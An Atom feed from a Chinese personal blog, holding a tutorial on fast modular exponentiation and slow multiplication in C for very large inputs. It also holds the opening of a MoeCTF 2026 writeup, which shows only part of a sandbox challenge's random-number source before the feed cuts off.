<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://ch0kk4ku.github.io/</id>
  <title type="text">Ch0kk4ku&apos;s Blog</title>
  <subtitle type="text">Ch0kk4ku 的个人博客，记录技术笔记、折腾过程与零散想法。</subtitle>
  <updated>2026-10-20T00:00:00.000Z</updated>
  <author><name>Ch0kk4ku</name></author>
  <link rel="alternate" href="https://ch0kk4ku.github.io/"/>
  <link rel="self" href="https://ch0kk4ku.github.io/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.8</generator>
    <entry>
      <id>https://ch0kk4ku.github.io/posts/kuai-su-mi-yu-gui-su-cheng-suan-fa/</id>
      <title type="text">快速幂与龟速乘算法</title>
      <published>2026-10-20T00:00:00.000Z</published>
      <updated>2026-10-20T00:00:00.000Z</updated>
      <author><name>Ch0kk4ku</name></author>
      <link rel="alternate" href="https://ch0kk4ku.github.io/posts/kuai-su-mi-yu-gui-su-cheng-suan-fa/"/>
      <summary type="text">让我们来复习一些算法...</summary>
      <content type="html"><![CDATA[<section><h2>前言<a href="#前言"><span>#</span></a></h2><p>起因是笔者初中同学的同学发给了他一个题目，内容是：</p><p></p><figure><img src="/assets/images/posts/kuai-su-mi-yu-gui-su-cheng-suan-fa/01-a67b0a3dcbedf96ec53e24b0ed240b35.jpg" alt="a67b0a3dcbedf96ec53e24b0ed240b35" /><figcaption>a67b0a3dcbedf96ec53e24b0ed240b35</figcaption></figure><p></p><p>本来笔者以为是一个普通的一道 C++ 题目，但是后来发现数据范围有一些不太对劲 —— <span><span>1≤a,b,m≤2631\le a,b,m\le 2^{63}</span><span><span><span></span><span>1</span><span></span><span>≤</span><span></span></span><span><span></span><span>a</span><span>,</span><span></span><span>b</span><span>,</span><span></span><span>m</span><span></span><span>≤</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span></span></span></span> ？这个范围对于常规的 O(n) 循环算法来说已经无法在一秒内计算出结果了，稍微查询一下，一个熟悉的概念映入眼帘 —— 快速幂算法！然而打开 devc++ 后，笔者悲催地发现自己已经忘记了快速幂的核心要义，遂开始重新复习并且记录于此。</p><p>由于笔者学的是 C ，以下代码以 C 为主， C++ 同理。</p></section>
<section><h2>快速幂<a href="#快速幂"><span>#</span></a></h2><p>首先来看最基础的乘方计算：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span>&lt;stdio.h&gt;</span></div></div><div><div><div>2</div></div><div><span>#define</span><span> </span><span>LL</span><span> </span><span>long</span><span> </span><span>long</span></div></div><div><div><div>3</div></div><div><span>LL </span><span>spow</span><span><span>(</span><span>LL </span><span>a</span><span>,</span><span>LL </span><span>b</span><span>,</span><span>LL </span><span>m</span><span>){</span></span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>LL res</span><span>=</span><span>1</span><span>%</span><span>m;</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>a</span><span>%=</span><span>m;</span></div></div><div><div><div>6</div></div><div><span>  </span><span>while</span><span>(b</span><span>--</span><span>)  res</span><span>=</span><span>(res</span><span>*</span><span>a)</span><span>%</span><span>m;</span></div></div><div><div><div>7</div></div><div><span>  </span><span>return</span><span> res;</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>int</span><span> </span><span>main</span><span>(){</span></div></div><div><div><div>10</div></div><div><span>  </span><span>// 后面快速幂部分主函数内容不变，仅 spow() -&gt; qpow() ，故不重复展示</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>LL a,b,m;</span></div></div><div><div><div>12</div></div><div><span>  </span><span>scanf</span><span>(</span><span>"</span><span>%lld</span><span> </span><span>%lld</span><span> </span><span>%lld</span><span>"</span><span>,</span><span>&amp;</span><span>a,</span><span>&amp;</span><span>b,</span><span>&amp;</span><span>m);</span></div></div><div><div><div>13</div></div><div><span>  </span><span>printf</span><span>(</span><span>"</span><span>%lld</span><span>"</span><span>,</span><span>spow</span><span>(a,b,m));</span></div></div><div><div><div>14</div></div><div><span>  </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>15</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>注意到这边用到了一个很常见的关于取模的性质，<s>读者自证不难</s>（其实是笔者还不会证明），利用它分步取模，相比先求出完整幂值最后再取模，能在一定程度上避免中间结果过大而溢出。（但仅靠这一点对本题仍不够，极端情况的处理见后文）</p><span><span><span>(a⋅b) mod m=((a mod m)⋅(b mod m)) mod m(a\cdot b)\bmod m=\bigl((a\bmod m)\cdot(b\bmod m)\bigr)\bmod m</span><span><span><span></span><span>(</span><span>a</span><span></span><span>⋅</span><span></span></span><span><span></span><span>b</span><span>)</span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span></span><span><span></span><span>m</span><span></span><span>=</span><span></span></span><span><span></span><span><span>(</span></span><span>(</span><span>a</span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span></span><span><span></span><span>m</span><span>)</span><span></span><span>⋅</span><span></span></span><span><span></span><span>(</span><span>b</span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span></span><span><span></span><span>m</span><span>)</span><span><span>)</span></span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span></span><span><span></span><span>m</span></span></span></span></span><p>观察原来的代码我们可以发现，我们几乎是完全照搬了乘方的原始定义即 <span><span>an=a⋅a⋯a⏟n个aa^n=\underbrace{a\cdot a\cdots a}_{n个a}</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>n</span><span>个</span><span>a</span></span></span></span><span><span></span><span><span><span><span><span><span></span><span><span></span><span></span><span></span></span></span><span><span></span><span><span>a</span><span></span><span>⋅</span><span></span><span>a</span><span></span><span>⋯</span><span></span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span> ，这样直白的实现让时间复杂度达到了 O(n) ，极其不利于大幂指数的计算，要想要改善这个复杂度，我们只需要知道两个简单的知识：其一为 <span><span>ax+y=ax⋅aya^{x+y}=a^x\cdot a^y</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span><span>x</span><span>+</span><span>y</span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>x</span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>y</span></span></span></span></span></span></span></span></span></span></span>，其二为任何非负整数都可以按照其二进制拆分成多个二的幂次之和来表示，如 <span><span>6=(110)2=0×20+1×21+1×226=(110)_2=0\times2^0+1\times2^1+1\times2^2</span><span><span><span></span><span>6</span><span></span><span>=</span><span></span></span><span><span></span><span>(</span><span>110</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>0</span><span></span><span>×</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>1</span><span></span><span>×</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>1</span><span></span><span>×</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span> 。二者结合我们就可以按照以下的方式来优化求解幂：</p><span><span><span>1919810=1919(1100101010)2=19190⋅20⋅19191⋅21⋅19190⋅22⋅19191⋅23⋅19190⋅24⋅19191⋅25⋅19190⋅26⋅19190⋅27⋅19191⋅28⋅19191⋅291919^{810}=1919^{(1100101010)_2}
=1919^{0\cdot2^0}\cdot1919^{1\cdot2^1}\cdot1919^{0\cdot2^2}\cdot1919^{1\cdot2^3}\cdot1919^{0\cdot2^4}\cdot1919^{1\cdot2^5}\cdot1919^{0\cdot2^6}\cdot1919^{0\cdot2^7}\cdot1919^{1\cdot2^8}\cdot1919^{1\cdot2^9}</span><span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>810</span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>(</span><span>1100101010</span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>0</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>1</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>0</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>1</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>3</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>0</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>4</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>1</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>5</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>0</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>6</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>0</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>7</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>1</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>8</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>⋅</span><span></span></span><span><span></span><span>191</span><span><span>9</span><span><span><span><span><span><span></span><span><span><span>1</span><span>⋅</span><span><span>2</span><span><span><span><span><span><span></span><span><span>9</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><p>或许渲染的有点小？没事，我们可以在代码中看看逻辑：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>LL </span><span>qpow</span><span><span>(</span><span>LL </span><span>a</span><span>,</span><span>LL </span><span>b</span><span>,</span><span>LL </span><span>m</span><span>){</span></span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>LL res</span><span>=</span><span>1</span><span>%</span><span>m;</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>a</span><span>%=</span><span>m;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>while</span><span>(b){</span></div></div><div><div><div>5</div></div><div><span>    </span><span>if</span><span>(b</span><span>&amp;</span><span>1</span><span>)  res</span><span>=</span><span>(res</span><span>*</span><span>a)</span><span>%</span><span>m;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>b</span><span>&gt;&gt;=</span><span>1</span><span>;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>a</span><span>*=</span><span>a,a</span><span>%=</span><span>m;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>  </span><span>return</span><span> res;</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在这个代码中，我们的核心就是去判断指数的二进制下的每一位，如果为 1 ，则乘上 <span><span>a2na^{2^n}</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span><span><span>2</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> ，其中 <span><span>nn</span><span><span><span></span><span>n</span></span></span></span> 为当前位数，<strong>位数从 0 开始算起</strong>。这里的 <code>a*=a</code> 的原理为 <span><span>a2n×a2n=a2n+2n=a2n+1a^{2^n}\times a^{2^n}=a^{2^n+2^n}=a^{2^{n+1}}</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span><span><span>2</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>×</span><span></span></span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span><span><span>2</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span><span><span>2</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span><span>+</span><span><span>2</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>n</span><span>+</span><span>1</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 即将我们用于乘进去的 a 再次往后推进一位。之所以选择将数字转换为二进制的其中一个原因正是 <span><span>a2na^{2^n}</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span><span><span>2</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span> 平方以后非常自然地就使得 <span><span>2n2^n</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span></span></span></span></span></span></span></span> 能够再次乘以二变为我们想要的 <span><span>2n+12^{n+1}</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>n</span><span>+</span><span>1</span></span></span></span></span></span></span></span></span></span></span></span> 。</p><p>总结起来便是以下公式：</p><span><span><span>ab mod m=∏ia(2i) mod m     (当 b 的第 i 位为 1)a^b\bmod m=\prod_{i}{a^{(2^i)}\bmod m}\ \ \ \ \ (\text{当 } b \text{ 的第 } i \text{ 位为 } 1)</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>b</span></span></span></span></span></span></span></span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span></span><span><span></span><span>m</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span></span></span></span><span><span></span><span><span>∏</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span><span>a</span><span><span><span><span><span><span></span><span><span><span>(</span><span><span>2</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span></span></span></span></span><span>)</span></span></span></span></span></span></span></span></span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span><span>m</span></span><span> </span><span> </span><span> </span><span> </span><span> </span><span>(</span><span><span>当</span><span> </span></span><span>b</span><span><span> </span><span>的第</span><span> </span></span><span>i</span><span><span> </span><span>位为</span><span> </span></span><span>1</span><span>)</span></span></span></span></span><p>到了这里这个快速幂倒是没问题了，但是一看原题，我们现在的解法还有一个致命的漏洞：大数溢出。因为原题的 <span><span>a,ba,b</span><span><span><span></span><span>a</span><span>,</span><span></span><span>b</span></span></span></span> 范围极大，达到了惊人的 <span><span>2632^{63}</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span></span></span></span> ，要知道我们的 <code>long long</code> 最大值也才 <span><span>263−12^{63}-1</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span></span></span></span> ，当 <span><span>a=263a=2^{63}</span><span><span><span></span><span>a</span><span></span><span>=</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span></span></span></span> 或 <span><span>b,m=263b,m=2^{63}</span><span><span><span></span><span>b</span><span>,</span><span></span><span>m</span><span></span><span>=</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span></span></span></span> 的时候我们的 <code>long long</code> 压根存不下，所以我们得采用 <code>unsigned long long</code> 来存储输入值。</p><p>但是仍然有一个问题，即使我们几乎做到每步都取模了，但是在极端情况下，<span><span>a=263−1,b=263−1,m=263a=2^{63}-1,b=2^{63}-1,m=2^{63}</span><span><span><span></span><span>a</span><span></span><span>=</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span><span>,</span><span></span><span>b</span><span></span><span>=</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span><span>,</span><span></span><span>m</span><span></span><span>=</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span></span></span></span> ，不可避免地我们会面对 <span><span>(263−1)⋅(263−1)(2^{63}-1)\cdot(2^{63}-1)</span><span><span><span></span><span>(</span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span><span>)</span><span></span><span>⋅</span><span></span></span><span><span></span><span>(</span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span><span>)</span></span></span></span> 这种情况，导致在计算的时候溢出。对于这个问题，笔者进行了一番查询，发现了两条常见的解决方案。</p><p>法一是在中间计算的时候，将其中一个变量显式类型转化为 <code>__int128</code> ，其可表示的最大值高达 <span><span>2127−12^{127}-1</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>127</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span></span></span></span> ，对于我们这个情况 <span><span>(263−1)⋅(263−1)&lt;2126&lt;2127−1(2^{63}-1)\cdot(2^{63}-1)&lt;2^{126}&lt;2^{127}-1</span><span><span><span></span><span>(</span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span><span>)</span><span></span><span>⋅</span><span></span></span><span><span></span><span>(</span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>63</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span><span>)</span><span></span><span>&lt;</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>126</span></span></span></span></span></span></span></span></span><span></span><span>&lt;</span><span></span></span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>127</span></span></span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>1</span></span></span></span> ，很显然是足够了。但是如果看到标题便会知晓，这种方法肯定是有限制的，具体来说：<code>__int128</code> 是 GCC/Clang 的编译器扩展，通常在 64 位目标平台上可用；它不是标准 C/C++，MSVC 不支持，而且甚至没有标准的输入输出（虽然这个跟本题无关），这个限制导致了笔者的 devc++ 并不能在正常配置的情况下使用它。于是，便有了法二 —— 龟速乘。</p></section>
<section><h2>龟速乘<a href="#龟速乘"><span>#</span></a></h2><p>所谓龟速乘与快速幂的思想极其相像，区别是前者是加，后者是乘。可以理解为乘法分配律 + 二进制拆分转换：</p><span><span><span>a×b mod m=∑i(a⋅2i) mod m     (当 b 的第 i 位为 1)a×b\bmod m=\sum_{i}{(a⋅2^i)\bmod m}\ \ \ \ \ (\text{当 } b \text{ 的第 } i \text{ 位为 } 1)</span><span><span><span></span><span>a</span><span></span><span>×</span><span></span></span><span><span></span><span>b</span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span></span><span><span></span><span>m</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span></span></span></span><span><span></span><span><span>∑</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>(</span><span>a</span><span></span><span>⋅</span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span></span></span></span></span><span>)</span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span><span>m</span></span><span> </span><span> </span><span> </span><span> </span><span> </span><span>(</span><span><span>当</span><span> </span></span><span>b</span><span><span> </span><span>的第</span><span> </span></span><span>i</span><span><span> </span><span>位为</span><span> </span></span><span>1</span><span>)</span></span></span></span></span><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ULL </span><span>stimes</span><span><span>(</span><span>ULL </span><span>a</span><span>,</span><span>ULL </span><span>b</span><span>,</span><span>ULL </span><span>m</span><span>){</span></span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>ULL res</span><span>=</span><span>0</span><span>;</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>a</span><span>%=</span><span>m;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>while</span><span>(b){</span></div></div><div><div><div>5</div></div><div><span>    </span><span>if</span><span>(b</span><span>&amp;</span><span>1</span><span>)  res</span><span>+=</span><span>a,res</span><span>%=</span><span>m;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>b</span><span>&gt;&gt;=</span><span>1</span><span>;</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>a</span><span>*=</span><span>2</span><span>,a</span><span>%=</span><span>m;</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>9</div></div><div><span>  </span><span>return</span><span> res;</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样子我们就可以处理掉棘手的极端情况了，最终整合起所有的代码我们便可以得到这道题的最终解：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span>&lt;stdio.h&gt;</span></div></div><div><div><div>2</div></div><div><span>#define</span><span> </span><span>ULL</span><span> </span><span>unsigned</span><span> </span><span>long</span><span> </span><span>long</span></div></div><div><div><div>3</div></div><div><span>ULL </span><span>stimes</span><span><span>(</span><span>ULL </span><span>a</span><span>,</span><span>ULL </span><span>b</span><span>,</span><span>ULL </span><span>m</span><span>){</span></span></div></div><div><div><div>4</div></div><div><span>  </span><span>// 龟速乘</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>ULL res</span><span>=</span><span>0</span><span>;</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>a</span><span>%=</span><span>m;</span></div></div><div><div><div>7</div></div><div><span>  </span><span>while</span><span>(b){</span></div></div><div><div><div>8</div></div><div><span>    </span><span>if</span><span>(b</span><span>&amp;</span><span>1</span><span>)  res</span><span>+=</span><span>a,res</span><span>%=</span><span>m;</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>b</span><span>&gt;&gt;=</span><span>1</span><span>;</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>a</span><span>*=</span><span>2</span><span>,a</span><span>%=</span><span>m;</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>12</div></div><div><span>  </span><span>return</span><span> res;</span></div></div><div><div><div>13</div></div><div><span>}</span></div></div><div><div><div>14</div></div><div><span>ULL </span><span>qpow</span><span><span>(</span><span>ULL </span><span>a</span><span>,</span><span>ULL </span><span>b</span><span>,</span><span>ULL </span><span>m</span><span>){</span></span></div></div><div><div><div>15</div></div><div><span>  </span><span>// 快速幂</span></div></div><div><div><div>16</div></div><div><span><span>  </span></span><span>ULL res</span><span>=</span><span>1</span><span>%</span><span>m;</span></div></div><div><div><div>17</div></div><div><span><span>  </span></span><span>a</span><span>%=</span><span>m;</span></div></div><div><div><div>18</div></div><div><span>  </span><span>while</span><span>(b){</span></div></div><div><div><div>19</div></div><div><span>    </span><span>if</span><span>(b</span><span>&amp;</span><span>1</span><span>)  res</span><span>=</span><span>stimes</span><span>(res,a,m);</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>b</span><span>&gt;&gt;=</span><span>1</span><span>;</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>a</span><span>=</span><span>stimes</span><span>(a,a,m);</span></div></div><div><div><div>22</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>23</div></div><div><span>  </span><span>return</span><span> res;</span></div></div><div><div><div>24</div></div><div><span>}</span></div></div><div><div><div>25</div></div><div><span>int</span><span> </span><span>main</span><span>(){</span></div></div><div><div><div>26</div></div><div><span><span>  </span></span><span>ULL a,b,m;</span></div></div><div><div><div>27</div></div><div><span>  </span><span>scanf</span><span>(</span><span>"</span><span>%llu</span><span> </span><span>%llu</span><span> </span><span>%llu</span><span>"</span><span>,</span><span>&amp;</span><span>a,</span><span>&amp;</span><span>b,</span><span>&amp;</span><span>m);</span></div></div><div><div><div>28</div></div><div><span>  </span><span>printf</span><span>(</span><span>"</span><span>%llu</span><span>"</span><span>,</span><span>qpow</span><span>(a,b,m));</span></div></div><div><div><div>29</div></div><div><span>  </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>30</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://ch0kk4ku.github.io/posts/moectf-2026-writeup/</id>
      <title type="text">MoeCTF 2026 Writeup</title>
      <published>2026-10-15T00:00:00.000Z</published>
      <updated>2026-10-15T00:00:00.000Z</updated>
      <author><name>Ch0kk4ku</name></author>
      <link rel="alternate" href="https://ch0kk4ku.github.io/posts/moectf-2026-writeup/"/>
      <summary type="text">MoeCTF 2026 部分题目的解题记录。</summary>
      <content type="html"><![CDATA[<div><div><div></div><div>关于本文</div></div><div><p>由于神秘原因，导致后半程才开始写 Writeup ，目前仅有部分题目写了 WP 。</p><p>等最近的事情忙完了应该会补上一些其他题目的 WP 。持续更新中…</p></div></div>
<section><h2>Python 沙箱逃逸<a href="#python-沙箱逃逸"><span>#</span></a></h2><section><h3>mathmagic<a href="#mathmagic"><span>#</span></a></h3><blockquote><p>随机的jail，能随机的关住人吗？</p></blockquote><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> time</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>class</span><span><span> </span><span>Random</span></span><span>:</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>_P </span><span>=</span><span> </span><span>1000000021</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>_A </span><span>=</span><span> </span><span>320560990</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>_BASE</span><span> </span><span>=</span><span> </span><span>123456789</span><span><span> </span><span>%</span><span> _P</span></span></div></div><div><div><div>7</div></div><div><span>    </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>seed</span></span><span>=</span><span>0</span><span>):</span></div></div><div><div><div>8</div></div><div><span>        </span><span>self</span><span><span>.state </span><span>=</span><span> (</span></span><span>self</span><span><span>.</span><span>_BASE</span><span> </span><span>*</span><span> </span></span><span>pow</span><span>(</span><span>self</span><span><span>._A, seed </span><span>%</span><span> </span></span><span>60</span><span>, </span><span>self</span><span><span>._P)) </span><span>%</span><span> </span></span><span>self</span><span>._P</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>    </span><span>def</span><span> </span><span>random</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>mod</span></span><span>):</span></div></div><div><div><div>11</div></div><div><span>        </span><span>self</span><span><span>.state </span><span>=</span><span> (</span></span><span>self</span><span><span>.state </span><span>*</span><span> </span></span><span>self</span><span><span>._A) </span><span>%</span><span> </span></span><span>self</span><span>._P</span></div></div><div><div><div>12</div></div><div><span>        </span><span>return</span><span> </span><span>self</span><span><span>.state </span><span>%</span><span> mod </span><span>+</span><span> </span></span><span>1</span></div></div><div><div><div>13</div></div><div>
